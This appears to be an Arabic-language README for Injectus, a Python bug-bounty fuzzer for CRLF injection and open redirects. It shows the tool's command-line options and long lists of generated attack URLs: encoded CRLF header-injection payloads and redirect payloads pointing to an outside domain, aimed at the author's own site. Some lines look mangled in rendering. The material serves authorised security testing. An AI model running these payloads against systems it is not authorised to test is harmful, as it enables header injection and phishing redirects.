
مختبر CRLF وإعادة التوجيه المفتوحة
أداة بسيطة بلغة Python تقوم بتجربة قائمة عناوين URL لاختبار هجمات CRLF وإعادة التوجيه المفتوحة (open redirect).
▪ ▐ ▄ ▐▄▄▄▄▄▄ . ▄▄· ▄▄▄▄▄▄• ▄▌.▄▄ ·
██ •█▌▐█ ·██▀▄.▀·▐█ ▌▪•██ █▪██▌▐█ ▀.
▐█·▐█▐▐▌▪▄ ██▐▀▀▪▄██ ▄▄ ▐█.▪█▌▐█▌▄▀▀▀█▄
▐█▌██▐█▌▐▌▐█▌▐█▄▄▌▐███▌ ▐█▌·▐█▄█▌▐█▄▪▐█
▀▀▀▀▀ ▀ █▪ ▀▀▀• ▀▀▀ ·▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀▀
~ BOUNTYSTRIKE ~
usage: Injectus [-h] [-f FILE] [-u URL] [-r] [-w WORKERS] [-t TIMEOUT]
[-d DELAY] [-c] [-op]
CRLF and open redirect fuzzer. Crafted by @dubs3c.
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE File containing URLs
-u URL, --url URL Single URL to test
-r, --no-request Only build attack list, do not perform any requests
-w WORKERS, --workers WORKERS
Amount of asyncio workers, default is 10
-t TIMEOUT, --timeout TIMEOUT
HTTP request timeout, default is 6 seconds
-d DELAY, --delay DELAY
The delay between requests, default is 1 second
-c, --crlf Only perform crlf attacks
-op, --openredirect Only perform open redirect attacks
كنت بحاجة إلى ماسح بسيط لـ CRLF وإعادة التوجيه المفتوحة يمكنني تضمينه في خط سير مكافآت الثغرات الخاص بي على https://github.com/BountyStrike/Bountystrike-sh. لم أجد أي أداة تلبي احتياجاتي، لذا أنشأت Injectus. إنها تجربة صغيرة لمعرفة ما إذا كانت تعمل بشكل أفضل من الأدوات الأخرى.
إذا كان لدينا عنوان URL التالي:
https://dubell.io/?param1=value1&url=value2¶m3=value3
بالنسبة لهجمات CRLF، سيقوم Injectus بحقن كل حمولة مرة واحدة في قيمة معامل واحد، لكل n من المعاملات. على سبيل المثال، سينشئ Injectus القائمة التالية باستخدام عنوان URL أعلاه:
https://dubell.io/?param1=%%0a0abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%0abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%0d%0abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%0dbounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%23%0dbounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%25%30%61bounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%25%30abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%250abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%25250abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%3f%0dbounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=%u000abounty:strike&url=value2¶m3=value3
https://dubell.io/?param1=value1&url=%%0a0abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%0abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%0d%0abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%0dbounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%23%0dbounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%25%30%61bounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%25%30abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%250abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%25250abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%3f%0dbounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=%u000abounty:strike¶m3=value3
https://dubell.io/?param1=value1&url=value2¶m3=%%0a0abounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%0abounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%0d%0abounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%0dbounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%23%0dbounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%25%30%61bounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%25%30abounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%250abounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%25250abounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%3f%0dbounty:strike
https://dubell.io/?param1=value1&url=value2¶m3=%u000abounty:strike
كما ترى، يتم حقن كل حمولة CRLF في قيمة المعامل الأول. بمجرد انتهاء الحلقة، سيقوم Injectus بحقن كل حمولة في المعامل الثاني، وهكذا. بعد حقن جميع المعاملات، تكتمل القائمة.
إذا لم تكن هناك معاملات استعلام (query parameters)، فسيقوم Injectus ببساطة بإلحاق كل حمولة بعنوان URL، كما يلي:
https://dubell.io/some/path/%%0a0abounty:strike
https://dubell.io/some/path/%0abounty:strike
https://dubell.io/some/path/%0d%0abounty:strike
https://dubell.io/some/path/%0dbounty:strike
https://dubell.io/some/path/%23%0dbounty:strike
https://dubell.io/some/path/%23%0dbounty:strike
https://dubell.io/some/path/%25%30%61bounty:strike
https://dubell.io/some/path/%25%30abounty:strike
https://dubell.io/some/path/%250abounty:strike
https://dubell.io/some/path/%25250abounty:strike
https://dubell.io/some/path/%3f%0dbounty:strike
https://dubell.io/some/path/%3f%0dbounty:strike
https://dubell.io/some/path/%u000abounty:strike
عند حقن حمولات إعادة التوجيه المفتوحة، سيقوم Injectus بحقن حمولة فقط إذا كان هناك معامل استعلام/مسار يحتوي على كلمة مفتاحية نموذجية لإعادة التوجيه، مثل url. الحقن في عنوان URL التالي https://dubell.io/?param1=value1&url=dashboard¶m3=value3:
https://dubell.io/?param1=value1&url=$2f%2fbountystrike.io%2f%2fparam3=value3
https://dubell.io/?param1=value1&url=%2f$2fbountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.io%2f%2fparam3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.io//param3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=////bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=///bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=//bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/\x08ountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/http://bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=bountystrike.ioparam3=value3
يحتوي عنوان URL على معامل الاستعلام url، لذا سيقوم Injectus بحقن الحمولات في ذلك المعامل.
مثال عند استخدام معاملات المسار. عنوان URL الأصلي هو https://dubell.io/some/path/that/redirect/dashboard:
https://dubell.io/some/path/that/redirect/$2f%2fbountystrike.io%2f%2f
https://dubell.io/some/path/that/redirect/%2f$2fbountystrike.io
https://dubell.io/some/path/that/redirect/%2fbountystrike.io%2f%2f
https://dubell.io/some/path/that/redirect/%2fbountystrike.io
https://dubell.io/some/path/that/redirect/%2fbountystrike.io//
https://dubell.io/some/path/that/redirect/////bountystrike.io
https://dubell.io/some/path/that/redirect////bountystrike.io
https://dubell.io/some/path/that/redirect///bountystrike.io
https://dubell.io/some/path/that/redirect//\x08ountystrike.io
https://dubell.io/some/path/that/redirect//bountystrike.io
https://dubell.io/some/path/that/redirect//http://bountystrike.io
https://dubell.io/some/path/that/redirect/bountystrike.io
كما في السابق، إذا لم يتم العثور على معاملات استعلام أو مسار، فسيقوم Injectus ببساطة بإلحاق كل حمولة بعنوان URL:
https://dubell.io/$2f%2fbountystrike.io%2f%2f
https://dubell.io/%2f$2fbountystrike.io
https://dubell.io/%2fbountystrike.io%2f%2f
https://dubell.io/%2fbountystrike.io
https://dubell.io/%2fbountystrike.io//
https://dubell.io/////bountystrike.io
https://dubell.io////bountystrike.io
https://dubell.io///bountystrike.io
https://dubell.io//\\bountystrike.io
https://dubell.io//bountystrike.io
https://dubell.io//http://bountystrike.io
https://dubell.io/bountystrike.io
pip3.7 install -r requirements.txt --user
نرحب بأي ملاحظات أو أفكار! هل تريد تحسين شيء ما؟ قم بإنشاء طلب سحب (pull request)!
git checkout -b my-new-featurepre-commit installgit commit -am 'Add some feature'git push origin my-new-feature